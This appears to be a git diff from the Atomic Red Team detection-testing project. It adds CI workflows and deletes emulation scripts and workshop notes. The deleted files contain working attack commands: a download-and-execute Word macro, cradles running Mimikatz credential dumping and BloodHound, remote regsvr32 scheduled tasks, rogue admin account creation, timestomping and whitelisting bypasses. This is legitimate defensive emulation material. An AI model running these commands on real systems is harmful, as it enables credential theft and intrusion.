run: poetry install --no-interaction
- name: Run pytest
run: poetry run pytest atomic_red_team/tests
+19
View File
@@ -0,0 +1,19 @@
name: 'Close stale issues and PRs'
on:
schedule:
- cron: '30 1 * * *'
jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@v10
with:
stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days.'
stale-pr-message: 'This PR is stale because it has been open 45 days with no activity. Remove stale label or comment or this will be closed in 10 days.'
close-issue-message: 'This issue was closed because it has been stalled for 5 days with no activity.'
close-pr-message: 'This PR was closed because it has been stalled for 10 days with no activity.'
days-before-issue-stale: 30
days-before-pr-stale: 45
days-before-issue-close: 10
days-before-pr-close: 10
+75
View File
@@ -0,0 +1,75 @@
name: validate-atomics
on:
pull_request:
branches:
- master
jobs:
validate-atomics:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v6
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
id: setup-python
with:
python-version: "3.11.2"
cache: "poetry"
- name: Install dependencies
run: poetry install --no-interaction
- name: validate the format of atomics tests against the spec
run: poetry run python runner.py validate
working-directory: atomic_red_team
env:
PYTHONPATH: ${{ github.workspace }}
upload:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v6
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
id: setup-python
with:
python-version: "3.11.2"
cache: "poetry"
- uses: actions/github-script@v8
id: get_pr_number
with:
script: |
if (context.issue.number) {
// Return issue number if present
return context.issue.number;
} else {
// Otherwise return issue number from commit
return (
await github.rest.repos.listPullRequestsAssociatedWithCommit({
commit_sha: context.sha,
owner: context.repo.owner,
repo: context.repo.repo,
})
).data[0].number;
}
result-encoding: string
- name: Install dependencies
run: poetry install --no-interaction --no-root
- name: save labels and reviewers into a file.
run: |
poetry run python runner.py generate-labels --pr '${{steps.get_pr_number.outputs.result}}' --token ${{ secrets.GITHUB_TOKEN }}
working-directory: atomic_red_team
env:
PYTHONPATH: ${{ github.workspace }}
- uses: actions/upload-artifact@v7
with:
name: labels.json
path: atomic_red_team/pr/
+20
View File
@@ -0,0 +1,20 @@
name: validate-terraform
on:
pull_request:
branches:
- master
paths:
- "**/*.tf"
jobs:
validate-terraform:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- uses: hashicorp/setup-terraform@v4
- name: Terraform fmt
id: fmt
run: terraform fmt -recursive -check
continue-on-error: false
+126
View File
@@ -24,3 +24,129 @@ docs/.sass-cache/
docs/_site/
**/Invoke-AtomicTest-ExecutionLog.csv
techniques_hash.db
# Credential files
*.creds
# Local .terraform directories
**/.terraform/*
# .tfstate files
*.tfstate
*.tfstate.*
**/*.terraform.lock.hcl
# Crash log files
crash.log
crash.*.log
# Ignore override files as they are usually used to override resources locally and so
# are not checked in
override.tf
override.tf.json
*_override.tf
*_override.tf.json
# Include override files you do wish to add to version control using negated pattern
# !example_override.tf
# Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan
# example: *tfplan*
# Ignore CLI configuration files
.terraformrc
terraform.rc
*.pyc
# The ExternalPayloads folder
ExternalPayloads
# Visual Studio 2015/2017 cache/options directory
.vs/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.tlog
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Node.js
node_modules/
# Python
__pycache__/
*.pyc
.hypothesis/
@@ -1,48 +0,0 @@
' Save Document As Single Web Page .mht
' Rename Document As .Doc
' This Document is modeled after FireEye's report on APT32
' Special Thanks to Nick Carr for his work on this write-up
' https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
Sub AutoOpen()
Dim myURL As String
Dim myPath As String
If (MsgBox("You're Are About To Execute the ATOMIC Test for Dragon's Tail, You sure?", 1, vbMsgBoxSetForeground) = 2) Then
End ' This Ends Macro
End If
' Downloads Dragon's Tail Chain Reaction Script
myURL = "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.bat"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send
myURL = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
Dim fso As Object
Const FLDR_NAME As String = "C:\Tools\"
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(FLDR_NAME) Then
fso.CreateFolder (FLDR_NAME)
End If
' Change Path HERE
oStream.SaveToFile "C:\Tools\NothingToSeeHere.bat", 2 ' 1 = no overwrite, 2 = overwrite
' EXECUTE FROM PATH
Shell "cmd.exe /c C:\Tools\NothingToSeeHere.bat"
oStream.Close
End If
End Sub
@@ -1,2 +0,0 @@
### Group: Dragon's Tail
[Modeled After G0050](https://attack.mitre.org/wiki/Group/G0050)
@@ -1,155 +0,0 @@
# Atomic Friday - 05-01-2020
## Setup
My environment today is built with DetectionLab.
>This lab has been designed with defenders in mind. Its primary purpose is to allow the user to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. It can easily be modified to fit most needs or expanded to include additional hosts.
Get it here:
https://github.com/clong/DetectionLab
Follow: [@DetectionLab](https://twitter.com/DetectionLab)
<img src="https://github.com/clong/DetectionLab/raw/master/img/DetectionLab.png" alt="DetectionLab" width="200"/>
We will be working from WIN10 system.
`$PSVersionTable`
```
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
...
```
## Get Invoke-AtomicRedTeam
<img src="https://www.redcanary.com/wp-content/uploads/image2-25.png" alt="Atomic" width="200"/>
https://github.com/redcanaryco/invoke-atomicredteam
```
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1')
Install-AtomicRedTeam -getAtomics
```
This will install `invoke-atomicredteam` and download `Atomics` folder from Atomic Red Team.
Note:
- `Set-ExecutionPolicy -Scope CurrentUser unrestricted`
- `set-executionpolicy unrestricted`
- Disable AV.
Atomics folder:
https://github.com/redcanaryco/atomic-red-team/tree/master/atomics
## Before Update
We're going to modify T1086 - BloodHound
https://github.com/redcanaryco/atomic-red-team/tree/23620c707ac1ed89e4207a39488f9214cf3c6e1e/atomics/T1086
## After Update
SharpHound PR
- https://github.com/redcanaryco/atomic-red-team/pull/955
- https://github.com/redcanaryco/atomic-red-team/pull/962
- Added src dir (removed payloads)
- Added input arguments
- Added prereqs
SharpHound ingestor:
https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1
## Local Execution
`Invoke-AtomicTest T1086 -ShowDetailsBrief`
```
PathToAtomicsFolder = C:\AtomicRedTeam\atomics
T1086-1 Mimikatz
T1086-2 Run BloodHound from local disk
T1086-3 Run Bloodhound from Memory using Download Cradle
```
Select test and show details:
`Invoke-AtomicTest T1086 -TestNumbers 2 -ShowDetails`
Check Prerequisits:
`Invoke-AtomicTest T1086 -TestNumbers 2 -CheckPrereqs`
```
CheckPrereq's for: T1086-2 Run BloodHound from local disk
Prerequisites not met: T1086-2 Run BloodHound from local disk
[*] SharpHound.ps1 must be located at C:\AtomicRedTeam\atomics\T1086\src
Try installing prereq's with the -GetPrereqs switch
```
Get Prerequisits:
`Invoke-AtomicTest T1086 -TestNumbers 2 -GetPrereqs`
```
GetPrereq's for: T1086-2 Run BloodHound from local disk
Attempting to satisfy prereq: SharpHound.ps1 must be located at C:\AtomicRedTeam\atomics\T1086\src
Prereq successfully met: SharpHound.ps1 must be located at C:\AtomicRedTeam\atomics\T1086\src
```
Execute:
`Invoke-AtomicTest T1086 -TestNumbers 2`
```
Import and Execution of SharpHound.ps1 from C:\AtomicRedTeam\atomics\T1086\src
-----------------------------------------------
Initializing SharpHound at 4:31 PM on 4/30/2020
-----------------------------------------------
Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain WINDOMAIN.LOCAL using path CN=Schema,CN=Configuration,DC=WINDOMAIN,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 81 MB RAM
Status: 71 objects finished (+71 ∞)/s -- Using 86 MB RAM
Enumeration finished in 00:00:00.6317770
Compressing data to C:\Users\VAGRAN~1.WIN\AppData\Local\Temp\20200430163109_BloodHound.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 4:31 PM on 4/30/2020! Happy Graphing!
Done executing test: T1086-2 Run BloodHound from local disk
```
Where are my reports!?
`-OutputDirectory $env:Temp`
`ls $env:Temp`
`20200430163109_BloodHound.zip`
Time to cleanup
`Invoke-AtomicTest T1086 -TestNumbers 2 -Cleanup`
```
Command (with inputs):
Remove-Item C:\AtomicRedTeam\atomics\T1086\src\SharpHound.ps1 -Force -ErrorAction Ignore
Remove-Item $env:Temp\*BloodHound.zip -Force
```
@@ -1,56 +0,0 @@
Import-Module /Users/matt.graeber/Documents/GitHub/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1
# Explore the functions exposed in invoke-atomicredteam
Get-Command -Module Invoke-AtomicRedTeam
# Path to the
$AtomicPath = '/Users/matt.graeber/Documents/GitHub/atomic-red-team/atomics/T1086/T1086.yaml'
# Get the raw YAML
$T1086 = Get-Content -Path $AtomicPath -Raw
# Parse the YAML, validate against expected atomic technique/test schema and output appropriate PowerShell object.
$AtomicTechnique = Get-AtomicTechnique -Path $AtomicPath
# Validate all atomics
Get-ChildItem -Path /Users/matt.graeber/Documents/GitHub/atomic-red-team/atomics/ -Recurse -Include 'T*.yaml' | Get-AtomicTechnique
# Recreate T1086 test #2
$InputArg1 = New-AtomicTestInputArgument -Name internal_domain -Description 'Specify internal domain name to analyze' -Type String -Default 'windomain.local'
$InputArg2 = New-AtomicTestInputArgument -Name file_path -Description 'File path for SharpHound payload' -Type String -Default 'PathToAtomicsFolder\T1086\src'
$DependencyArgs = @{
Description = 'Validate if SharpHound.ps1 is located in #{file_path}.'
PrereqCommand = 'if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else {exit 1}'
GetPrereqCommand = 'Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "#{file_path}\SharpHound.ps1"'
}
$Dependency = New-AtomicTestDependency @DependencyArgs
$TestArgs = @{
Name = 'Run BloodHound from local disk'
Description = @'
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful execution will produce stdout reporting LDAP connection was successful and BloodHound domain enumeration is occurring. Upon completion, final output will be a *BloodHound.zip file.
'@
SupportedPlatforms = 'Windows'
ExecutorType = 'PowerShell'
ExecutorCommand = @'
write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundColor Cyan
import-module #{file_path}\SharpHound.ps1; invoke-bloodhound -domain -OutputDirectory #{output_path}
'@
ExecutorCleanupCommand = @'
Remove-Item #{file_path}\SharpHound.ps1 -Force
Remove-Item #{file_path}\*BloodHound.zip -Force
'@
InputArguments = $InputArg1, $InputArg2
DependencyExecutorType = 'PowerShell'
Dependencies = $Dependency
}
$AtomicTest = New-AtomicTest @TestArgs
# Convert the atomic test to raw YAML. Add to existing technique. Profit
$AtomicTest | ConvertTo-Yaml
@@ -1,59 +0,0 @@
# Getting Lateral
Using DetectionLab, we will enable [PSRemoting](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7) on our remote host WEF and execute our Atomic Test on it.
## Setup
On WEF
```
Enable-PSRemoting
```
On Win10
Same terminal we used earlier:
`$sess = New-PSSession -ComputerName wef -Credential windomain.local\administrator`
Prompt for credentials
## Let's get Remote (execution)
Wiki - https://github.com/redcanaryco/invoke-atomicredteam/wiki/Execute-Atomic-Tests-(Remote)
After you have established the PS session ($sess) you can proceed with test execution as follows.
`Invoke-AtomicTest T1117 -TestNumbers 2 -ShowDetails`
`Invoke-AtomicTest T1003 -TestNumbers 4 -ShowDetails`
### Install any required prerequisites on the remote machine before test execution
`Invoke-AtomicTest T1117 -Session $sess -GetPrereqs`
### execute all atomic tests in technique T1117|T1003 on a remote machine
`Invoke-AtomicTest T1117 -Session $sess -TestNumbers 2`
`Invoke-AtomicTest T1003 -TestNumbers 4 -Session $sess`
## Validate execution
[T1117 Splunk](https://192.168.38.105:8000/en-US/app/search/search?q=search%20host%3Dwef*%20regsvr32.exe%20earliest%3D-30m%20latest%3Dnow&display.page.search.mode=smart&dispatch.sample_ratio=1&workload_pool=&earliest=-24h%40h&latest=now&sid=1588276958.707)
[T1003 Splunk](https://192.168.38.105:8000/en-US/app/search/search?q=search%20host%3Dwef*%20reg.exe%20earliest%3D-30m%20latest%3Dnow%20%7C%20stats%20values(Process_Command_Line)&display.page.search.mode=smart&dispatch.sample_ratio=1&workload_pool=&earliest=-24h%40h&latest=now&sid=1588277661.75&display.page.search.tab=statistics&display.general.type=statistics)
## Random Tips
- Add user to "Remote management Users" group.
- Enabling PowerShell remoting on client versions of Windows when the computer is on a public network is normally disallowed, but you can skip this restriction by using the SkipNetworkProfileCheck parameter. For more information, see the description of the SkipNetworkProfileCheck parameter.
- psremoting to a Windows Server will require an Administrator account (I used Administrator above, as example shown)
## Reference
- PSRemoting - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7
@@ -1,112 +0,0 @@
# Atomic Friday - 06-05-2020
Detection Engineering Philosophy in a nutshell
- https://twitter.com/mattifestation/status/1263416936517468167?s=20
Additional References:
- https://posts.specterops.io/detection-spectrum-198a0bfb9302
- https://posts.specterops.io/detection-in-depth-a2392b3a7e94
## Do it live
What data do I have?
```
| metadata type=sourcetypes index=botsv3 | eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S") | eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S") | eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S") | sort - totalCount
```
Stats
Endpoint count
- `(index="botsv3" OR index="botsv2") | stats values(ComputerName)`
Event types
- `(index="botsv3" OR index="botsv2") | stats values(type)`
```
(index="botsv3" OR index="botsv2") powershell.exe source="WinEventLog:Microsoft-Windows-Sysmon/Operational" | stats values(CommandLine) by Computer
```
## Technique: Scheduled Tasks
- MITRE [T1053](https://attack.mitre.org/techniques/T1053/)
- Atomic Red Team [T1053](https://github.com/redcanaryco/atomic-red-team/blob/7d07686f600c0fb3bba468c987eb4e4faea83fa9/atomics/T1053/T1053.md)
Find all Schtasks:
`(index="botsv3" OR index="botsv2") schtasks.exe`
What data sources did we receive?
### Now let's see all the CommandLine?
`(index="botsv3" OR index="botsv2") schtasks.exe | stats values(CommandLine)`
`(index="botsv3" OR index="botsv2") schtasks.exe | stats values(CommandLine) by Computer`
`(index="botsv3" OR index="botsv2") schtasks.exe | stats values(CommandLine) by host`
### Change source (WinEventLog:Security)
`(index="botsv3") source="WinEventLog:Security" schtasks.exe | stats values(Process_Command_Line) by Creator_Process_Name`
`(index="botsv2") source="WinEventLog:Security" schtasks.exe | stats values(Process_Command_Line) by ComputerName`
### What created this?
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe | stats values(Image) by ParentImage`
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe ParentImage=*\\powershell.exe| stats values(Image) by ParentImage ParentCommandLine`
### Begin Tuning Schtasks Search
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine=*powershell.exe*| stats values(CommandLine) by Computer`
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine!="*\Office Automatic Updates*" CommandLine!="*\Office ClickToRun*" | stats values(CommandLine) by Computer`
but - because we know what we want to fire on -
We can target:
- `*frombase64string*`
- `http*`
- `powershell*`
I want to alert on each time someone creates a task:
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine=*Create* ParentImage!=*\\OfficeClicktoRun.exe | stats values(CommandLine) by Computer`
There is a whole list of things we target. But, first gathering scheduled tasks in a report helps us identify a baseline.
### Saved Reports
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine=*Create* ParentImage!=*\\OfficeClicktoRun.exe | stats values(CommandLine) by Computer`
### Prep for alert:
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe | table Computer, User, CommandLine, _time`
`(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine=*Create* ParentImage!=*\\OfficeClicktoRun.exe | table Computer, User, CommandLine, _time`
## Technique: Powershell
Sometimes we may not see the whole picture looking at process command line (Sysmon). What if we had Powershell transactions logs?
`(index="botsv3" OR index="botsv2") powershell.exe source="WinEventLog:Microsoft-Windows-PowerShell/Operational"`
Sysmon -
`(index="botsv3" OR index="botsv2") powershell.exe source="WinEventLog:Microsoft-Windows-Sysmon/Operational" | stats values(CommandLine) by Computer`
### Alerts
Email alerts:
Save “Saved Search” with (or change) for a “clean” alert:
`| table Computer, User, CommandLine, _time`
Recommend throttling each alert by current estimated time to remediation.
Ex - Throttle 3 days
-1
View File
@@ -1 +0,0 @@
Notes, resources, and errata related to Atomic Friday events.
-1
View File
@@ -1 +0,0 @@
# Chain Reactions
-11
View File
@@ -1,11 +0,0 @@
#include <stdio.h>
// Simple Hello World for Atomic Red Team payload
int main() {
printf("Hello from Atomic Red Team! \n");
return 0;
}
-13
View File
@@ -1,13 +0,0 @@
using System;
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe atomic-hello.cs
// Expected Output: Hello from Atomic Red Team! \n Press Enter To Close.
public class Program
{
public static void Main()
{
Console.WriteLine("Hello from Atomic Red Team! \n Press Enter To Close.");
Console.ReadLine();
}
}
Binary file not shown.
@@ -1,19 +0,0 @@
# Chain Reaction: Argonaut
# Tactics: Execution:Powershell, Discovery
# variable can be changed to $userprofile to drop the bat elsewhere
# TEMP=C:\Users\<username>\AppData\Local\Temp
$temp = $env:temp
# Note that these are alias' for Invoke-WebRequest.
# The concept is to see how curl and wget look in you detection tools vs what is commonly used (IWR, Invoke-WebRequest, etc)
wget https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat -OutFile $temp\1.bat
# Alternate Ending: Using curl
curl https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat -OutFile $temp\2.bat
# Execute the 1.bat file
cmd.exe /c $temp\1.bat
@@ -1,29 +0,0 @@
::Chain Reaction - Cyclotron
::
:: In this test we will executing a binary multiple ways.
:: Some of these are Application Whitelisting Bypasses
:: Either Clone the Repo, or Download the AllTheThings DLL Somehow ;-)
REM X86
Executing X86 AllTheThings Test
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThingsx86.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThingsx86.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThingsx86.dll
regsvr32.exe /s /u AllTheThingsx86.dll
regsvr32.exe /s AllTheThingsx86.dll
rundll32 AllTheThingsx86.dll,EntryPoint
odbcconf.exe /s /a { REGSVR AllTheThingsx86.dll }
regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThingsx86.dll
REM AMD64
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThingsx64.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThingsx64.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThingsx64.dll
regsvr32.exe /s /u AllTheThingsx64.dll
regsvr32.exe /s AllTheThingsx64.dll
rundll32 AllTheThingsx64.dll,EntryPoint
odbcconf.exe /s /a { REGSVR AllTheThingsx64.dll }
regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThingsx64.dll
@@ -1,42 +0,0 @@
:: Adversary Group: https://attack.mitre.org/wiki/Group/G0050
:: xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
:: Thanks to Nick Carr for his research on this group
:: Sample Representation of ATT&CK Techniques used by APT32
:: Tactics: Execution, Persistence, Privilege Escalation
:: Tactic: Privilege Escalation / Execution
:: Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
:: Create Scheduled Task With RegSv32 Payload
SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/6965fc15ef872281346d99d5eea952907167dec3/atomics/T1117/RegSvr32.sct scrobj.dll" /mo 30
SCHTASKS /Run /TN "Atomic Testing"
SCHTASKS /Delete /TN "Atomic Testing" /F
:: Tactics: Execution
:: Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
:: Tactics: Defense Evasion
:: Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
:: Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c
:: To Encode A Command
:: $Text = '$file=(gi test.txt);$date=''7/16/1945 5:29am'';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date'
:: $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
:: $EncodedText =[Convert]::ToBase64String($Bytes)
:: $EncodedText
echo "Atomic Test File" > test.txt
::PowerShell.exe -com {$file=(gi test.txt);$date = '7/16/1945 5:29am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}
PowerShell.exe -enc JABmAGkAbABlAD0AKABnAGkAIAB0AGUAcwB0AC4AdAB4AHQAKQA7ACQAZABhAHQAZQA9ACcANwAvADEANgAvADEAOQA0ADUAIAA1ADoAMgA5AGEAbQAnADsAJABmAGkAbABlAC4ATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEwAYQBzAHQAQQBjAGMAZQBzAHMAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEMAcgBlAGEAdABpAG8AbgBUAGkAbQBlAD0AJABkAGEAdABlAA==
:: Tactics: Defense Evasion
:: technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107
:: Deletes File, detection here would be File Modification
::del test.txt
@@ -1,37 +0,0 @@
# Adversary Group: https://attack.mitre.org/wiki/Group/G0050
# xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
# Thanks to Nick Carr for his research on this group
# Sample Representation of ATT&CK Techniques used by APT32
# Tactics: Execution, Persistence, Privilege Escalation
# Tactic: Privilege Escalation / Execution
# Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
# Create Scheduled Task With RegSv32 Payload
SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/6965fc15ef872281346d99d5eea952907167dec3/atomics/T1117/RegSvr32.sct scrobj.dll" /mo 30
SCHTASKS /Run /TN "Atomic Testing"
SCHTASKS /Delete /TN "Atomic Testing" /F
# Tactics: Execution
# Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
# Tactics: Defense Evasion
# Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
# Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c
$test = "Atomic Test File"
set-content -path test.txt -value $test
$file=(gi test.txt);$date='7/16/1945 5:29 am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date
# Tactics: Defense Evasion
# technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107
# Deletes File, detection here would be File Modification
del test.txt
Write-Host "Done" -Fore Green
@@ -1,56 +0,0 @@
:: Chain Reaction - Fission
::
:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
:: NOTE We recommend executing from a server that you control.
:: NOTE Thank You :)
::
:: This particular Chain Reaction focuses on Discovery.
:: Tactic: Discovery
:: Technique: Remote System Discovery https://attack.mitre.org/wiki/Technique/T1018
:: Change IP scheme for your environment
:: for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i > ping_output.txt
net.exe view
net.exe view /domain
:: Tactic: Discovery
:: Technique: Account Discovery https://attack.mitre.org/wiki/Windows_Technique_Matrix
net localgroup "administrators"
wmic useraccount get /ALL
:: Tactic: Discovery
:: Technique: Security Software Discovery https://attack.mitre.org/wiki/Technique/T1063
netsh.exe advfirewall firewall show all profiles
tasklist.exe | findstr cb
tasklist.exe | findstr virus
tasklist.exe | findstr defender
:: Execution
:: Tactic: Discovery
:: Technique: System Network Configuration Discovery https://attack.mitre.org/wiki/Technique/T1016
ipconfig /all
arp -a
nbtstat -n
:: Tactic: Discovery
:: Technique: File and Directory Discovery https://attack.mitre.org/wiki/Technique/T1083
dir /s c:\ >> %temp%\download
:: Tactic: Execution
:: Technique: Powershell https://attack.mitre.org/wiki/Technique/T1086
:: Download and invoke BloodHound Ingestor
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/BloodHound_Old.ps1'); Get-BloodHoundData"
@@ -1,33 +0,0 @@
:: Chain Reaction 01
::
:: NOTE it is a BAD idea to execute scripts from a repo that you do not control.
:: NOTE We recommend executing from a server that you control.
:: NOTE Thank You :)
:: This particular Chain Reaction focuses on generating event noise.
:: Tactics: Persistence, Defense Evasion
:: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
:: RegSvr32 https://attack.mitre.org/wiki/Technique/T1117
:: This particular technique will reach out to the github repository (network) and spawn calc (process) every 30 minutes.
SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll" /mo 30
:: Tactic: Discovery
:: Execution: https://attack.mitre.org/wiki/Technique/T1086
:: Have PowerShell download the Discovery.bat, output to a local file (for review later)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat')" > output.txt
:: Tactic: Credential Access
:: Technique: Create Account https://attack.mitre.org/wiki/Technique/T1136
:: Add a user, then add to group
Net user /add Trevor SmshBgr123
:: Add user to group
net localgroup administrators Trevor /add
ECHO Well that was fun!
pause
@@ -1,105 +0,0 @@
#!/bin/sh
# Chain Reaction Ranger
# NOTE it is a BAD idea to execute scripts from a repo that you do not control.
# NOTE We recommend executing from a server that you control.
# NOTE Thank You :)
# This particular Chain Reaction focuses on simulating reconnaisance and staging files for exfiltration
# Tactic: Collection
# Technique: Data Staged https://attack.mitre.org/wiki/Technique/T1074
# Tactic: Defense Evasion
# Technique: Hide Artifacts: Hidden Files and Directories https://attack.mitre.org/techniques/T1564/001/
# Create a hidden directory to store our collected data in
mkdir -p /tmp/.staging_art/
mkdir -p /tmp/.exfil/
# Tactic: Discovery
# Technique: System Information Discovery https://attack.mitre.org/wiki/Technique/T1082
# Determine Platform and Gather System Information
SYSINF=/tmp/.staging_art/system.txt
MACCHECK="$(sw_vers -productName | cut -d ' ' -f1)"
if [[ "$MACCHECK" == "Mac" ]]; then
PLAT="Mac"
else
PLAT="Linux"
fi
echo "Testing: Platform is" $PLAT
echo "Platform: " $PLAT >> $SYSINF
echo "Kernel:" >> $SYSINF && uname -a >> $SYSINF
echo "Testing: Gathering General Release Information"
if [ "$PLAT" = "Mac" ]; then
echo "Testing: Gathering macOS Release Information"
echo "System Profiler:" >> $SYSINF
system_profiler >> $SYSINF 2> /dev/null
else
